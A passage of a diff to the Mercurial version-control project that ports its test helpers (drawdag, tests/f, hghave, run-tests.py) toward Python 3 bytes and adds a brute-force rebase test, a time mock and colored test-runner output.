                                          'mercurial/cext/manifest.c',
                                          'mercurial/cext/parsers.c',
                                          'mercurial/cext/pathencode.c',
                                          'mercurial/cext/revlog.c'],
               include_dirs=common_include_dirs,
-              depends=common_depends),
+              depends=common_depends + ['mercurial/cext/charencode.h']),
     Extension('mercurial.cext.osutil', ['mercurial/cext/osutil.c'],
               include_dirs=common_include_dirs,
               extra_compile_args=osutil_cflags,
diff --git a/tests/bruterebase.py b/tests/bruterebase.py
new file mode 100644
--- /dev/null
+++ b/tests/bruterebase.py
@@ -0,0 +1,74 @@
+# bruterebase.py - brute force rebase testing
+#
+# Copyright 2017 Facebook, Inc.
+#
+# This software may be used and distributed according to the terms of the
+# GNU General Public License version 2 or any later version.
+
+from __future__ import absolute_import
+
+from mercurial import (
+    error,
+    registrar,
+    revsetlang,
+)
+
+from hgext import rebase
+
+try:
+    xrange
+except NameError:
+    xrange = range
+
+cmdtable = {}
+command = registrar.command(cmdtable)
+
+@command(b'debugbruterebase')
+def debugbruterebase(ui, repo, source, dest):
+    """for every non-empty subset of source, run rebase -r subset -d dest
+
+    Print one line summary for each subset. Assume obsstore is enabled.
+    """
+    srevs = list(repo.revs(source))
+
+    with repo.wlock(), repo.lock():
+        repolen = len(repo)
+        cl = repo.changelog
+
+        def getdesc(rev):
+            result = cl.changelogrevision(rev).description
+            if rev >= repolen:
+                result += b"'"
+            return result
+
+        for i in xrange(1, 2 ** len(srevs)):
+            subset = [rev for j, rev in enumerate(srevs) if i & (1 << j) != 0]
+            spec = revsetlang.formatspec(b'%ld', subset)
+            tr = repo.transaction(b'rebase')
+            tr.report = lambda x: 0 # hide "transaction abort"
+
+            ui.pushbuffer()
+            try:
+                rebase.rebase(ui, repo, dest=dest, rev=[spec])
+            except error.Abort as ex:
+                summary = b'ABORT: %s' % ex
+            except Exception as ex:
+                summary = b'CRASH: %s' % ex
+            else:
+                # short summary about new nodes
+                cl = repo.changelog
+                descs = []
+                for rev in xrange(repolen, len(repo)):
+                    desc = b'%s:' % getdesc(rev)
+                    for prev in cl.parentrevs(rev):
+                        if prev > -1:
+                            desc += getdesc(prev)
+                    descs.append(desc)
+                descs.sort()
+                summary = ' '.join(descs)
+            ui.popbuffer()
+            repo.vfs.tryunlink(b'rebasestate')
+
+            subsetdesc = b''.join(getdesc(rev) for rev in subset)
+            ui.write((b'%s: %s\n') % (subsetdesc.rjust(len(srevs)), summary))
+            tr.abort()
diff --git a/tests/drawdag.py b/tests/drawdag.py
--- a/tests/drawdag.py
+++ b/tests/drawdag.py
@@ -84,6 +84,7 @@
 
 import collections
 import itertools
+import re
 
 from mercurial.i18n import _
 from mercurial import (
@@ -91,6 +92,7 @@
     error,
     node,
     obsolete,
+    pycompat,
     registrar,
     scmutil,
     tags as tagsmod,
@@ -99,9 +101,9 @@
 cmdtable = {}
 command = registrar.command(cmdtable)
 
-_pipechars = '\\/+-|'
-_nonpipechars = ''.join(chr(i) for i in xrange(33, 127)
-                        if chr(i) not in _pipechars)
+_pipechars = b'\\/+-|'
+_nonpipechars = b''.join(pycompat.bytechr(i) for i in range(33, 127)
+                         if pycompat.bytechr(i) not in _pipechars)
 
 def _isname(ch):
     """char -> bool. return True if ch looks like part of a name, False
@@ -109,7 +111,52 @@
     return ch in _nonpipechars
 
 def _parseasciigraph(text):
-    """str -> {str : [str]}. convert the ASCII graph to edges"""
+    r"""str -> {str : [str]}. convert the ASCII graph to edges
+
+    >>> import pprint
+    >>> pprint.pprint({pycompat.sysstr(k): [pycompat.sysstr(vv) for vv in v]
+    ...  for k, v in _parseasciigraph(br'''
+    ...        G
+    ...        |
+    ...  I D C F   # split: B -> E, F, G
+    ...   \ \| |   # replace: C -> D -> H
+    ...    H B E   # prune: F, I
+    ...     \|/
+    ...      A
+    ... ''').items()})
+    {'A': [],
+     'B': ['A'],
+     'C': ['B'],
+     'D': ['B'],
+     'E': ['A'],
+     'F': ['E'],
+     'G': ['F'],
+     'H': ['A'],
+     'I': ['H']}
+    >>> pprint.pprint({pycompat.sysstr(k): [pycompat.sysstr(vv) for vv in v]
+    ...  for k, v in _parseasciigraph(br'''
+    ...  o    foo
+    ...  |\
+    ...  +---o  bar
+    ...  | | |
+    ...  | o |  baz
+    ...  |  /
+    ...  +---o  d
+    ...  | |
+    ...  +---o  c
+    ...  | |
+    ...  o |  b
+    ...  |/
+    ...  o  a
+    ... ''').items()})
+    {'a': [],
+     'b': ['a'],
+     'bar': ['b', 'a'],
+     'baz': [],
+     'c': ['b'],
+     'd': ['b'],
+     'foo': ['baz', 'b']}
+    """
     lines = text.splitlines()
     edges = collections.defaultdict(list)  # {node: []}
 
@@ -117,16 +164,16 @@
         """(int, int) -> char. give a coordinate, return the char. return a
         space for anything out of range"""
         if x < 0 or y < 0:
-            return ' '
+            return b' '
         try:
-            return lines[y][x]
+            return lines[y][x:x + 1] or b' '
         except IndexError:
-            return ' '
+            return b' '
 
     def getname(y, x):
         """(int, int) -> str. like get(y, x) but concatenate left and right
         parts. if name is an 'o', try to replace it to the right"""
-        result = ''
+        result = b''
         for i in itertools.count(0):
             ch = get(y, x - i)
             if not _isname(ch):
@@ -137,17 +184,17 @@
             if not _isname(ch):
                 break
             result += ch
-        if result == 'o':
+        if result == b'o':
             # special handling, find the name to the right
-            result = ''
+            result = b''
             for i in itertools.count(2):
                 ch = get(y, x + i)
-                if ch == ' ' or ch in _pipechars:
+                if ch == b' ' or ch in _pipechars:
                     if result or x + i >= len(lines[y]):
                         break
                 else:
                     result += ch
-            return result or 'o'
+            return result or b'o'
         return result
 
     def parents(y, x):
@@ -163,19 +210,19 @@
             if '-' (or '+') is not in excepted, and get(y, x) is '-' (or '+'),
             the next line (y + 1, x) will be checked instead."""
             ch = get(y, x)
-            if any(ch == c and c not in expected for c in '-+'):
+            if any(ch == c and c not in expected for c in (b'-', b'+')):
                 y += 1
                 return follow(y + 1, x, expected)
-            if ch in expected or ('o' in expected and _isname(ch)):
+            if ch in expected or (b'o' in expected and _isname(ch)):
                 visit.append((y, x))
 
         #  -o-  # starting point:
         #  /|\ # follow '-' (horizontally), and '/|\' (to the bottom)
-        follow(y + 1, x, '|')
-        follow(y + 1, x - 1, '/')
-        follow(y + 1, x + 1, '\\')
-        follow(y, x - 1, '-')
-        follow(y, x + 1, '-')
+        follow(y + 1, x, b'|')
+        follow(y + 1, x - 1, b'/')
+        follow(y + 1, x + 1, b'\\')
+        follow(y, x - 1, b'-')
+        follow(y, x + 1, b'-')
 
         while visit:
             y, x = visit.pop()
@@ -186,28 +233,28 @@
             if _isname(ch):
                 result.append(getname(y, x))
                 continue
-            elif ch == '|':
-                follow(y + 1, x, '/|o')
-                follow(y + 1, x - 1, '/')
-                follow(y + 1, x + 1, '\\')
-            elif ch == '+':
-                follow(y, x - 1, '-')
-                follow(y, x + 1, '-')
-                follow(y + 1, x - 1, '/')
-                follow(y + 1, x + 1, '\\')
-                follow(y + 1, x, '|')
-            elif ch == '\\':
-                follow(y + 1, x + 1, '\\|o')
-            elif ch == '/':
-                follow(y + 1, x - 1, '/|o')
-            elif ch == '-':
-                follow(y, x - 1, '-+o')
-                follow(y, x + 1, '-+o')
+            elif ch == b'|':
+                follow(y + 1, x, b'/|o')
+                follow(y + 1, x - 1, b'/')
+                follow(y + 1, x + 1, b'\\')
+            elif ch == b'+':
+                follow(y, x - 1, b'-')
+                follow(y, x + 1, b'-')
+                follow(y + 1, x - 1, b'/')
+                follow(y + 1, x + 1, b'\\')
+                follow(y + 1, x, b'|')
+            elif ch == b'\\':
+                follow(y + 1, x + 1, b'\\|o')
+            elif ch == b'/':
+                follow(y + 1, x - 1, b'/|o')
+            elif ch == b'-':
+                follow(y, x - 1, b'-+o')
+                follow(y, x + 1, b'-+o')
         return result
 
     for y, line in enumerate(lines):
-        for x, ch in enumerate(line):
-            if ch == '#':  # comment
+        for x, ch in enumerate(pycompat.bytestr(line)):
+            if ch == b'#':  # comment
                 break
             if _isname(ch):
                 edges[getname(y, x)] += parents(y, x)
@@ -232,14 +279,14 @@
         return None
 
     def flags(self):
-        return ''
+        return b''
 
 class simplecommitctx(context.committablectx):
     def __init__(self, repo, name, parentctxs, added):
         opts = {
             'changes': scmutil.status([], list(added), [], [], [], [], []),
-            'date': '0 0',
-            'extra': {'branch': 'default'},
+            'date': b'0 0',
+            'extra': {b'branch': b'default'},
         }
         super(simplecommitctx, self).__init__(self, name, **opts)
         self._repo = repo
@@ -258,7 +305,7 @@
     """yield node, parents in topologically order"""
     visible = set(edges.keys())
     remaining = {}  # {str: [str]}
-    for k, vs in edges.iteritems():
+    for k, vs in edges.items():
         for v in vs:
             if v not in remaining:
                 remaining[v] = []
@@ -271,11 +318,29 @@
             if leaf in visible:
                 yield leaf, edges[leaf]
             del remaining[leaf]
-            for k, v in remaining.iteritems():
+            for k, v in remaining.items():
                 if leaf in v:
                     v.remove(leaf)
 
-@command('debugdrawdag', [])
+def _getcomments(text):
+    """
+    >>> [pycompat.sysstr(s) for s in _getcomments(br'''
+    ...        G
+    ...        |
+    ...  I D C F   # split: B -> E, F, G
+    ...   \ \| |   # replace: C -> D -> H
+    ...    H B E   # prune: F, I
+    ...     \|/
+    ...      A
+    ... ''')]
+    ['split: B -> E, F, G', 'replace: C -> D -> H', 'prune: F, I']
+    """
+    for line in text.splitlines():
+        if b' # ' not in line:
+            continue
+        yield line.split(b' # ', 1)[1].split(b' # ')[0].strip()
+
+@command(b'debugdrawdag', [])
 def debugdrawdag(ui, repo, **opts):
     """read an ASCII graph from stdin and create changesets
 
@@ -296,15 +361,22 @@
 
     # parse the graph and make sure len(parents) <= 2 for each node
     edges = _parseasciigraph(text)
-    for k, v in edges.iteritems():
+    for k, v in edges.items():
         if len(v) > 2:
             raise error.Abort(_('%s: too many parents: %s')
-                              % (k, ' '.join(v)))
+                              % (k, b' '.join(v)))
+
+    # parse comments to get extra file content instructions
+    files = collections.defaultdict(dict) # {(name, path): content}
+    comments = list(_getcomments(text))
+    filere = re.compile(br'^(\w+)/([\w/]+)\s*=\s*(.*)$', re.M)
+    for name, path, content in filere.findall(b'\n'.join(comments)):
+        files[name][path] = content.replace(br'\n', b'\n')
 
     committed = {None: node.nullid}  # {name: node}
 
     # for leaf nodes, try to find existing nodes in repo
-    for name, parents in edges.iteritems():
+    for name, parents in edges.items():
         if len(parents) == 0:
             try:
                 committed[name] = scmutil.revsingle(repo, name)
@@ -326,38 +398,37 @@
         else:
             # If it's not a merge, add a single file
             added[name] = name
+        # add extra file contents in comments
+        for path, content in files.get(name, {}).items():
+            added[path] = content
         ctx = simplecommitctx(repo, name, pctxs, added)
         n = ctx.commit()
         committed[name] = n
-        tagsmod.tag(repo, name, n, message=None, user=None, date=None,
+        tagsmod.tag(repo, [name], n, message=None, user=None, date=None,
                     local=True)
 
     # handle special comments
-    with repo.wlock(), repo.lock(), repo.transaction('drawdag'):
+    with repo.wlock(), repo.lock(), repo.transaction(b'drawdag'):
         getctx = lambda x: repo.unfiltered()[committed[x.strip()]]
-        for line in text.splitlines():
-            if ' # ' not in line:
-                continue
-
+        for comment in comments:
             rels = [] # obsolete relationships
-            comment = line.split(' # ', 1)[1].split(' # ')[0].strip()
-            args = comment.split(':', 1)
+            args = comment.split(b':', 1)
             if len(args) <= 1:
                 continue
 
             cmd = args[0].strip()
             arg = args[1].strip()
 
-            if cmd in ('replace', 'rebase', 'amend'):
-                nodes = [getctx(m) for m in arg.split('->')]
+            if cmd in (b'replace', b'rebase', b'amend'):
+                nodes = [getctx(m) for m in arg.split(b'->')]
                 for i in range(len(nodes) - 1):
                     rels.append((nodes[i], (nodes[i + 1],)))
-            elif cmd in ('split',):
-                pre, succs = arg.split('->')
-                succs = succs.split(',')
+            elif cmd in (b'split',):
+                pre, succs = arg.split(b'->')
+                succs = succs.split(b',')
                 rels.append((getctx(pre), (getctx(s) for s in succs)))
-            elif cmd in ('prune',):
-                for n in arg.split(','):
+            elif cmd in (b'prune',):
+                for n in arg.split(b','):
                     rels.append((getctx(n), ()))
             if rels:
                 obsolete.createmarkers(repo, rels, date=(0, 0), operation=cmd)
diff --git a/tests/f b/tests/f
--- a/tests/f
+++ b/tests/f
@@ -32,13 +32,22 @@
 import re
 import sys
 
+# Python 3 adapters
+ispy3 = (sys.version_info[0] >= 3)
+if ispy3:
+    def iterbytes(s):
+        for i in range(len(s)):
+            yield s[i:i + 1]
+else:
+    iterbytes = iter
+
 def visit(opts, filenames, outfile):
     """Process filenames in the way specified in opts, writing output to
     outfile."""
     for f in sorted(filenames):
         isstdin = f == '-'
         if not isstdin and not os.path.lexists(f):
-            outfile.write('%s: file not found\n' % f)
+            outfile.write(b'%s: file not found\n' % f.encode('utf-8'))
             continue
         quiet = opts.quiet and not opts.recurse or isstdin
         isdir = os.path.isdir(f)
@@ -57,7 +66,7 @@
                 facts.append('link')
             content = os.readlink(f)
         elif isstdin:
-            content = sys.stdin.read()
+            content = getattr(sys.stdin, 'buffer', sys.stdin).read()
             if opts.size:
                 facts.append('size=%s' % len(content))
         elif isdir:
@@ -87,19 +96,19 @@
             h = hashlib.sha1(content)
             facts.append('sha1=%s' % h.hexdigest()[:opts.bytes])
         if isstdin:
-            outfile.write(', '.join(facts) + '\n')
+            outfile.write(b', '.join(facts) + b'\n')
         elif facts:
-            outfile.write('%s: %s\n' % (f, ', '.join(facts)))
+            outfile.write(b'%s: %s\n' % (f.encode('utf-8'), b', '.join(facts)))
         elif not quiet:
-            outfile.write('%s:\n' % f)
+            outfile.write(b'%s:\n' % f.encode('utf-8'))
         if content is not None:
             chunk = content
             if not islink:
                 if opts.lines:
                     if opts.lines >= 0:
-                        chunk = ''.join(chunk.splitlines(True)[:opts.lines])
+                        chunk = b''.join(chunk.splitlines(True)[:opts.lines])
                     else:
-                        chunk = ''.join(chunk.splitlines(True)[opts.lines:])
+                        chunk = b''.join(chunk.splitlines(True)[opts.lines:])
                 if opts.bytes:
                     if opts.bytes >= 0:
                         chunk = chunk[:opts.bytes]
@@ -108,18 +117,19 @@
             if opts.hexdump:
                 for i in range(0, len(chunk), 16):
                     s = chunk[i:i + 16]
-                    outfile.write('%04x: %-47s |%s|\n' %
-                                  (i, ' '.join('%02x' % ord(c) for c in s),
-                                   re.sub('[^ -~]', '.', s)))
+                    outfile.write(b'%04x: %-47s |%s|\n' %
+                                  (i, b' '.join(
+                                      b'%02x' % ord(c) for c in iterbytes(s)),
+                                   re.sub(b'[^ -~]', b'.', s)))
             if opts.dump:
                 if not quiet:
-                    outfile.write('>>>\n')
+                    outfile.write(b'>>>\n')
                 outfile.write(chunk)
                 if not quiet:
-                    if chunk.endswith('\n'):
-                        outfile.write('<<<\n')
+                    if chunk.endswith(b'\n'):
+                        outfile.write(b'<<<\n')
                     else:
-                        outfile.write('\n<<< no trailing newline\n')
+                        outfile.write(b'\n<<< no trailing newline\n')
         if opts.recurse and dirfiles:
             assert not isstdin
             visit(opts, dirfiles, outfile)
@@ -156,4 +166,4 @@
     if not filenames:
         filenames = ['-']
 
-    visit(opts, filenames, sys.stdout)
+    visit(opts, filenames, getattr(sys.stdout, 'buffer', sys.stdout))
diff --git a/tests/failfilemerge.py b/tests/failfilemerge.py
--- a/tests/failfilemerge.py
+++ b/tests/failfilemerge.py
@@ -9,7 +9,8 @@
 )
 
 def failfilemerge(filemergefn,
-                  premerge, repo, mynode, orig, fcd, fco, fca, labels=None):
+                  premerge, repo, wctx, mynode, orig, fcd, fco, fca,
+                  labels=None):
     raise error.Abort("^C")
     return filemergefn(premerge, repo, mynode, orig, fcd, fco, fca, labels)
 
diff --git a/tests/fakedirstatewritetime.py b/tests/fakedirstatewritetime.py
--- a/tests/fakedirstatewritetime.py
+++ b/tests/fakedirstatewritetime.py
@@ -12,9 +12,17 @@
     dirstate,
     extensions,
     policy,
+    registrar,
     util,
 )
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('fakedirstatewritetime', 'fakenow',
+    default=None,
+)
+
 parsers = policy.importmod(r'parsers')
 
 def pack_dirstate(fakenow, orig, dmap, copymap, pl, now):
diff --git a/tests/fakepatchtime.py b/tests/fakepatchtime.py
--- a/tests/fakepatchtime.py
+++ b/tests/fakepatchtime.py
@@ -6,9 +6,17 @@
 from mercurial import (
     extensions,
     patch as patchmod,
+    registrar,
     util,
 )
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('fakepatchtime', 'fakenow',
+    default=None,
+)
+
 def internalpatch(orig, ui, repo, patchobj, strip,
                   prefix='', files=None,
                   eolmode='strict', similarity=0):
diff --git a/tests/hghave.py b/tests/hghave.py
--- a/tests/hghave.py
+++ b/tests/hghave.py
@@ -439,6 +439,11 @@
                        br"Usage:  pylint",
                        True)
 
+@check("clang-format", "clang-format C code formatter")
+def has_clang_format():
+    return matchoutput("clang-format --help",
+                       br"^OVERVIEW: A tool to format C/C\+\+[^ ]+ code.")
+
 @check("pygments", "Pygments source highlighting library")
 def has_pygments():
     try:
@@ -554,6 +559,11 @@
     except ImportError:
         return False
 
+@check('linuxormacos', 'Linux or MacOS')
+def has_linuxormacos():
+    # This isn't a perfect test for MacOS. But it is sufficient for our needs.
+    return sys.platform.startswith(('linux', 'darwin'))
+
 @check("docker", "docker support")
 def has_docker():
     pat = br'A self-sufficient runtime for'
@@ -573,17 +583,31 @@
 
 @check("debhelper", "debian packaging tools")
 def has_debhelper():
+    # Some versions of dpkg say `dpkg', some say 'dpkg' (` vs ' on the first
+    # quote), so just accept anything in that spot.
     dpkg = matchoutput('dpkg --version',
-                       br"Debian `dpkg' package management program")
+                       br"Debian .dpkg' package management program")
     dh = matchoutput('dh --help',
                      br'dh is a part of debhelper.', ignorestatus=True)
     dh_py2 = matchoutput('dh_python2 --help',
                          br'other supported Python versions')
-    return dpkg and dh and dh_py2
+    # debuild comes from the 'devscripts' package, though you might want
+    # the 'build-debs' package instead, which has a dependency on devscripts.
+    debuild = matchoutput('debuild --help',
+                          br'to run debian/rules with given parameter')
+    return dpkg and dh and dh_py2 and debuild
+
+@check("debdeps",
+       "debian build dependencies (run dpkg-checkbuilddeps in contrib/)")
+def has_debdeps():
+    # just check exit status (ignoring output)
+    path = '%s/../contrib/debian/control' % os.environ['TESTDIR']
+    return matchoutput('dpkg-checkbuilddeps %s' % path, br'')
 
 @check("demandimport", "demandimport enabled")
 def has_demandimport():
-    return os.environ.get('HGDEMANDIMPORT') != 'disable'
+    # chg disables demandimport intentionally for performance wins.
+    return ((not has_chg()) and os.environ.get('HGDEMANDIMPORT') != 'disable')
 
 @check("py3k", "running with Python 3.x")
 def has_py3k():
@@ -652,3 +676,12 @@
 @check("fsmonitor", "running tests with fsmonitor")
 def has_fsmonitor():
     return 'HGFSMONITOR_TESTS' in os.environ
+
+@check("fuzzywuzzy", "Fuzzy string matching library")
+def has_fuzzywuzzy():
+    try:
+        import fuzzywuzzy
+        fuzzywuzzy.__version__
+        return True
+    except ImportError:
+        return False
diff --git a/tests/md5sum.py b/tests/md5sum.py
--- a/tests/md5sum.py
+++ b/tests/md5sum.py
@@ -8,17 +8,11 @@
 
 from __future__ import absolute_import
 
+import hashlib
 import os
 import sys
 
 try:
-    import hashlib
-    md5 = hashlib.md5
-except ImportError:
-    import md5
-    md5 = md5.md5
-
-try:
     import msvcrt
     msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
     msvcrt.setmode(sys.stderr.fileno(), os.O_BINARY)
@@ -32,7 +26,7 @@
         sys.stderr.write('%s: Can\'t open: %s\n' % (filename, msg))
         sys.exit(1)
 
-    m = md5()
+    m = hashlib.md5()
     try:
         for data in iter(lambda: fp.read(8192), b''):
             m.update(data)
diff --git a/tests/mocktime.py b/tests/mocktime.py
new file mode 100644
--- /dev/null
+++ b/tests/mocktime.py
@@ -0,0 +1,18 @@
+from __future__ import absolute_import
+
+import os
+import time
+
+class mocktime(object):
+    def __init__(self, increment):
+        self.time = 0
+        self.increment = [float(s) for s in increment.split()]
+        self.pos = 0
+
+    def __call__(self):
+        self.time += self.increment[self.pos % len(self.increment)]
+        self.pos += 1
+        return self.time
+
+def uisetup(ui):
+    time.time = mocktime(os.environ.get('MOCKTIME', '0.1'))
diff --git a/tests/notcapable b/tests/notcapable
--- a/tests/notcapable
+++ b/tests/notcapable
@@ -6,9 +6,9 @@
 fi
 
 cat > notcapable-$CAP.py << EOF
-from mercurial import extensions, peer, localrepo
+from mercurial import extensions, localrepo, repository
 def extsetup():
-    extensions.wrapfunction(peer.peerrepository, 'capable', wrapcapable)
+    extensions.wrapfunction(repository.peer, 'capable', wrapcapable)
     extensions.wrapfunction(localrepo.localrepository, 'peer', wrappeer)
 def wrapcapable(orig, self, name, *args, **kwargs):
     if name in '$CAP'.split(' '):
diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -94,20 +94,61 @@
     try: # is pygments installed
         import pygments
         import pygments.lexers as lexers
+        import pygments.lexer as lexer
         import pygments.formatters as formatters
+        import pygments.token as token
+        import pygments.style as style
         pygmentspresent = True
         difflexer = lexers.DiffLexer()
         terminal256formatter = formatters.Terminal256Formatter()
     except ImportError:
         pass
 
+if pygmentspresent:
+    class TestRunnerStyle(style.Style):
+        default_style = ""
+        skipped = token.string_to_tokentype("Token.Generic.Skipped")
+        failed = token.string_to_tokentype("Token.Generic.Failed")
+        skippedname = token.string_to_tokentype("Token.Generic.SName")
+        failedname = token.string_to_tokentype("Token.Generic.FName")
+        styles = {
+            skipped:         '#e5e5e5',
+            skippedname:     '#00ffff',
+            failed:          '#7f0000',
+            failedname:      '#ff0000',
+        }
+
+    class TestRunnerLexer(lexer.RegexLexer):
+        tokens = {
+            'root': [
+                (r'^Skipped', token.Generic.Skipped, 'skipped'),
+                (r'^Failed ', token.Generic.Failed, 'failed'),
+                (r'^ERROR: ', token.Generic.Failed, 'failed'),
+            ],
+            'skipped': [
+                (r'[\w-]+\.(t|py)', token.Generic.SName),
+                (r':.*', token.Generic.Skipped),
+            ],
+            'failed': [
+                (r'[\w-]+\.(t|py)', token.Generic.FName),
+                (r'(:| ).*', token.Generic.Failed),
+            ]
+        }
+
+    runnerformatter = formatters.Terminal256Formatter(style=TestRunnerStyle)
+    runnerlexer = TestRunnerLexer()
+
 if sys.version_info > (3, 5, 0):
     PYTHON3 = True
     xrange = range # we use xrange in one place, and we'd rather not use range
     def _bytespath(p):
+        if p is None:
+            return p
         return p.encode('utf-8')
 
     def _strpath(p):
+        if p is None:
+            return p
         return p.decode('utf-8')
 
 elif sys.version_info >= (3, 0, 0):
@@ -262,6 +303,8 @@
         help="skip tests listed in the specified blacklist file")
     parser.add_option("--whitelist", action="append",
         help="always run tests listed in the specified whitelist file")
+    parser.add_option("--test-list", action="append",
+                      help="read tests to run from the specified file")
     parser.add_option("--changed", type="string",
         help="run tests that are changed in parent rev or working directory")
     parser.add_option("-C", "--annotate", action="store_true",
@@ -365,6 +408,10 @@
                       metavar="known_good_rev",
                       help=("Automatically bisect any failures using this "
                             "revision as a known-good revision."))
+    parser.add_option('--bisect-repo', type="string",
+                      metavar='bisect_repo',
+                      help=("Path of a repo to bisect. Use together with "
+                            "--known-good-rev"))
 
     for option, (envvar, default) in defaults.items():
         defaults[option] = type(default)(os.environ.get(envvar, default))
@@ -417,6 +464,9 @@
         sys.stderr.write('warning: --color=always ignored because '
                          'pygments is not installed\n')
 
+    if options.bisect_repo and not options.known_good_rev:
+        parser.error("--bisect-repo cannot be used without --known-good-rev")
+
     global useipv6
     if options.ipv6:
         useipv6 = checksocketfamily('AF_INET6')
@@ -545,7 +595,7 @@
 # list in group 2, and the preceeding line output in group 1:
 #
 #   output..output (feature !)\n
-optline = re.compile(b'(.+) \((.+?) !\)\n$')
+optline = re.compile(b'(.*) \((.+?) !\)\n$')
 
 def cdatasafe(data):
     """Make a string safe to include in a CDATA block.
@@ -570,6 +620,19 @@
         print()
         sys.stdout.flush()
 
+def highlightdiff(line, color):
+    if not color:
+        return line
+    assert pygmentspresent
+    return pygments.highlight(line.decode('latin1'), difflexer,
+                              terminal256formatter).encode('latin1')
+
+def highlightmsg(msg, color):
+    if not color:
+        return msg
+    assert pygmentspresent
+    return pygments.highlight(msg, runnerlexer, runnerformatter)
+
 def terminate(proc):
     """Terminate subprocess"""
     vlog('# Terminating process %d' % proc.pid)
@@ -596,10 +659,10 @@
 
     def __init__(self, path, outputdir, tmpdir, keeptmpdir=False,
                  debug=False,
-                 timeout=defaults['timeout'],
-                 startport=defaults['port'], extraconfigopts=None,
+                 timeout=None,
+                 startport=None, extraconfigopts=None,
                  py3kwarnings=False, shell=None, hgcommand=None,
-                 slowtimeout=defaults['slowtimeout'], usechg=False,
+                 slowtimeout=None, usechg=False,
                  useipv6=False):
         """Create a test from parameters.
 
@@ -631,6 +694,12 @@
 
         shell is the shell to execute tests in.
         """
+        if timeout is None:
+            timeout = defaults['timeout']
+        if startport is None:
+            startport = defaults['port']
+        if slowtimeout is None:
+            slowtimeout = defaults['slowtimeout']
         self.path = path
         self.bname = os.path.basename(path)
         self.name = _strpath(self.bname)
@@ -1196,7 +1265,7 @@
         if ret != 0:
             return False, stdout
 
-        if 'slow' in reqs:
+        if b'slow' in reqs:
             self._timeout = self._slowtimeout
         return True, None
 
@@ -1359,7 +1428,7 @@
                 while i < len(els):
                     el = els[i]
 
-                    r = TTest.linematch(el, lout)
+                    r = self.linematch(el, lout)
                     if isinstance(r, str):
                         if r == '+glob':
                             lout = el[:-1] + ' (glob)\n'
@@ -1383,11 +1452,10 @@
                         else:
                             m = optline.match(el)
                             if m:
-                                conditions = [c for c in m.group(2).split(' ')]
-
-                                if self._hghave(conditions)[0]:
-                                    lout = el
-                                else:
+                                conditions = [
+                                    c for c in m.group(2).split(b' ')]
+
+                                if not self._iftest(conditions):
                                     optional.append(i)
 
                     i += 1
@@ -1416,9 +1484,16 @@
                 while expected.get(pos, None):
                     el = expected[pos].pop(0)
                     if el:
-                        if (not optline.match(el)
-                            and not el.endswith(b" (?)\n")):
-                            break
+                        if not el.endswith(b" (?)\n"):
+                            m = optline.match(el)
+                            if m:
+                                conditions = [c for c in m.group(2).split(b' ')]
+
+                                if self._iftest(conditions):
+                                    # Don't append as optional line
+                                    continue
+                            else:
+                                continue
                     postout.append(b'  ' + el)
 
             if lcmd:
@@ -1481,8 +1556,7 @@
                 res += re.escape(c)
         return TTest.rematch(res, l)
 
-    @staticmethod
-    def linematch(el, l):
+    def linematch(self, el, l):
         retry = False
         if el == l: # perfect match (fast)
             return True
@@ -1493,8 +1567,11 @@
             else:
                 m = optline.match(el)
                 if m:
+                    conditions = [c for c in m.group(2).split(b' ')]
+
                     el = m.group(1) + b"\n"
-                    retry = "retry"
+                    if not self._iftest(conditions):
+                        retry = "retry"    # Not required by listed features
 
             if el.endswith(b" (esc)\n"):
                 if PYTHON3:
@@ -1586,7 +1663,10 @@
                     self.stream.write('t')
                 else:
                     if not self._options.nodiff:
-                        self.stream.write('\nERROR: %s output changed\n' % test)
+                        self.stream.write('\n')
+                        # Exclude the '\n' from highlighting to lex correctly
+                        formatted = 'ERROR: %s output changed\n' % test
+                        self.stream.write(highlightmsg(formatted, self.color))
                     self.stream.write('!')
 
                 self.stream.flush()
@@ -1652,10 +1732,7 @@
                 else:
                     self.stream.write('\n')
                     for line in lines:
-                        if self.color:
-                            line = pygments.highlight(line,
-                                                      difflexer,
-                                                      terminal256formatter)
+                        line = highlightdiff(line, self.color)
                         if PYTHON3:
                             self.stream.flush()
                             self.stream.buffer.write(line)
@@ -1778,7 +1855,7 @@
                 result.addSkip(test, "Doesn't exist")
                 continue
 
-            if not (self._whitelist and test.name in self._whitelist):
+            if not (self._whitelist and test.bname in self._whitelist):
                 if self._blacklist and test.bname in self._blacklist:
                     result.addSkip(test, 'blacklisted')
                     continue
@@ -1988,9 +2065,11 @@
 
             if not self._runner.options.noskips:
                 for test, msg in result.skipped:
-                    self.stream.writeln('Skipped %s: %s' % (test.name, msg))
+                    formatted = 'Skipped %s: %s\n' % (test.name, msg)
+                    self.stream.write(highlightmsg(formatted, result.color))
             for test, msg in result.failures:
-                self.stream.writeln('Failed %s: %s' % (test.name, msg))
+                formatted = 'Failed %s: %s\n' % (test.name, msg)
+                self.stream.write(highlightmsg(formatted, result.color))
             for test, msg in result.errors:
                 self.stream.writeln('Errored %s: %s' % (test.name, msg))
 
@@ -2008,38 +2087,7 @@
             savetimes(self._runner._outputdir, result)
 
             if failed and self._runner.options.known_good_rev:
-                def nooutput(args):
-                    p = subprocess.Popen(args, stderr=subprocess.STDOUT,
-                                         stdout=subprocess.PIPE)
-                    p.stdout.read()
-                    p.wait()
-                for test, msg in result.failures:
-                    nooutput(['hg', 'bisect', '--reset']),
-                    nooutput(['hg', 'bisect', '--bad', '.'])
-                    nooutput(['hg', 'bisect', '--good',
-                              self._runner.options.known_good_rev])
-                    # TODO: we probably need to forward some options
-                    # that alter hg's behavior inside the tests.
-                    rtc = '%s %s %s' % (sys.executable, sys.argv[0], test)
-                    sub = subprocess.Popen(['hg', 'bisect', '--command', rtc],
-                                           stderr=subprocess.STDOUT,
-                                           stdout=subprocess.PIPE)
-                    data = sub.stdout.read()
-                    sub.wait()
-                    m = re.search(
-                        (r'\nThe first (?P<goodbad>bad|good) revision '
-                         r'is:\nchangeset: +\d+:(?P<node>[a-f0-9]+)\n.*\n'
-                         r'summary: +(?P<summary>[^\n]+)\n'),
-                        data, (re.MULTILINE | re.DOTALL))
-                    if m is None:
-                        self.stream.writeln(
-                            'Failed to identify failure point for %s' % test)
-                        continue
-                    dat = m.groupdict()
-                    verb = 'broken' if dat['goodbad'] == 'bad' else 'fixed'
-                    self.stream.writeln(
-                        '%s %s by %s (%s)' % (
-                            test, verb, dat['node'], dat['summary']))
